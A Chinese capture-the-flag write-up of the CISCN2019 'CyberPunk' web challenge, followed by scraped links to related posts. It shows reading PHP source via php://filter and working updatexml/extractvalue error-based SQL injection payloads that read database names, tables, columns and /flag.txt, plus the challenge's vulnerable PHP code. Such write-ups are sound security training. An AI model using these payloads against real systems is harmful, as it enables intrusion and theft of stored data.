[CISCN2019 华北赛区 Day1 Web5]CyberPunk
0x00 知识点
PHP伪协议直接读取源码
http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
updatexml报错注入
不懂的可以看链接:
https://blkstone.github.io/2017/11/09/updatexml-sqli/
关于 updatexml 函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
http://www.target.com/index.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)
这里解释一下为什么会报错:
ONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
错误大概会是:
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
另外,updatexml最多只能显示32位,需要配合SUBSTR使用。
updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
扩展:extractvalue() 报错型SQL注入
1 && extractvalue(0x0a,concat(0x0a,(select database())))#
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#
0x01 解题
根据源代码提示
先用伪协议读一下源码:

以此类推得到我们通过点击得到的页面
<?php //index.php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!--?file=?-->
<?php //change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订åä
<?php //search.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
分析一下代码:
在查询的时候使用了正则去过滤,而且过滤的内容非常广泛,很难进行注入。
在写入时候使用了预处理所以无法进行注入。但是可以注意到使用正则过滤的时候并没有对地址过滤,我们跟进可以发现在change.php里地址是拼接进sql语句了,但是使用了addslashes()对单引号进行了转义,导致无法逃逸。
但是看这里
$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
在修改地址时候会将地址查询出来再拼接到更新语句,那么这里就算我们逃逸不了但是可以将后面的单引号给注释掉导致报错,同时这里将sql错误内容给打印出来了,可以使用报错注入。
payload:
//数据库
1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#
//表名
1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
//字段
1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
这里来解释一下最后的数据,因为我们在查询数据的时候没有flag,就想到了查根目录的flag文件。而且flag分了2部分,我们就应substr查。
使用payload:
先在初始页面随便输数据
接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,这样就能看到报错页面。
如果想要使用新的payload,只需要先删除订单在重复以上操作即可。


参考链接:https://www.plasf.cn/2019/11/02/2019-11-2-复现CISCN2019-华北赛区-Day1-Web5]CyberPunk/
[CISCN2019 华北赛区 Day1 Web5]CyberPunk的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...
- BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk
BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk 看题 看源码有提示?file=? 文件包含漏洞,可以利用这个漏洞读取源码. 分析 index.php?file=p ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun
步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox
步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...
- [CISCN2019 华北赛区 Day1 Web1]Dropbox
0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...
- [CISCN2019 华北赛区 Day1 Web2]ikun
知识点:逻辑漏洞.jwt密钥破解.python反序列化漏洞 进入靶机查看源码: 提示需要买到lv6,注册账号发现给了1000块钱,根据ctf套路应该是用很低的价格买很贵的lv6,首页翻了几页都没发现l ...
随机推荐
- Intent的常用属性action和category
设置隐式跳转 首先在我们按钮监听器中添加 Intent i=new Intent(); //参数为字符串,可以添加包名.活动名 i.setAction("com.example.aaaaa. ...
- 第3节 storm高级应用:1、上次课程回顾,今日课程大纲,storm下载地址、运行过程等
上次课程内容回顾: ConcurrentHashMap是线程安全的,为什么多线程的时候还不好使,为什么还要加static关键字 1.storm的基本介绍:strom是twitter公司开源提供给apa ...
- 《跟老齐学Python:从入门到精通》齐伟(编著)epub+mobi+azw3
内容简介 <跟老齐学Python:从入门到精通>是面向编程零基础读者的Python入门教程,内容涵盖了Python的基础知识和初步应用.以比较轻快的风格,向零基础的学习者介绍一门时下比较流 ...
- bzoj 4475: [Jsoi2015]子集选取
233,扒题解的时候偷瞄到这个题的题解了,,GG 暴力发现是2^(nm),然后就是sb题了 #include <bits/stdc++.h> #define LL long long us ...
- 082、Java数组之数组传递之简化理解
01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...
- python类的对象使用
class student(): def __init__(self,age,sex): self.age = age self.sex = sex #self._ ...
- js左右选项移动
<!--网页代码--><div class="modal" id="modal-primary7"> <div class=&qu ...
- PV 动态供给【转】
前面的例子中,我们提前创建了 PV,然后通过 PVC 申请 PV 并在 Pod 中使用,这种方式叫做静态供给(Static Provision). 与之对应的是动态供给(Dynamical Provi ...
- Network Policy【转】
Network Policy 是 Kubernetes 的一种资源.Network Policy 通过 Label 选择 Pod,并指定其他 Pod 或外界如何与这些 Pod 通信. 默认情况下,所有 ...
- ZCGL项目解析——概述
模块清单 微服务模块:routeservice.eurekaservice.configservice 数据服务模块:fdfsservice.hbaseservice 工具服务模块:common 系统 ...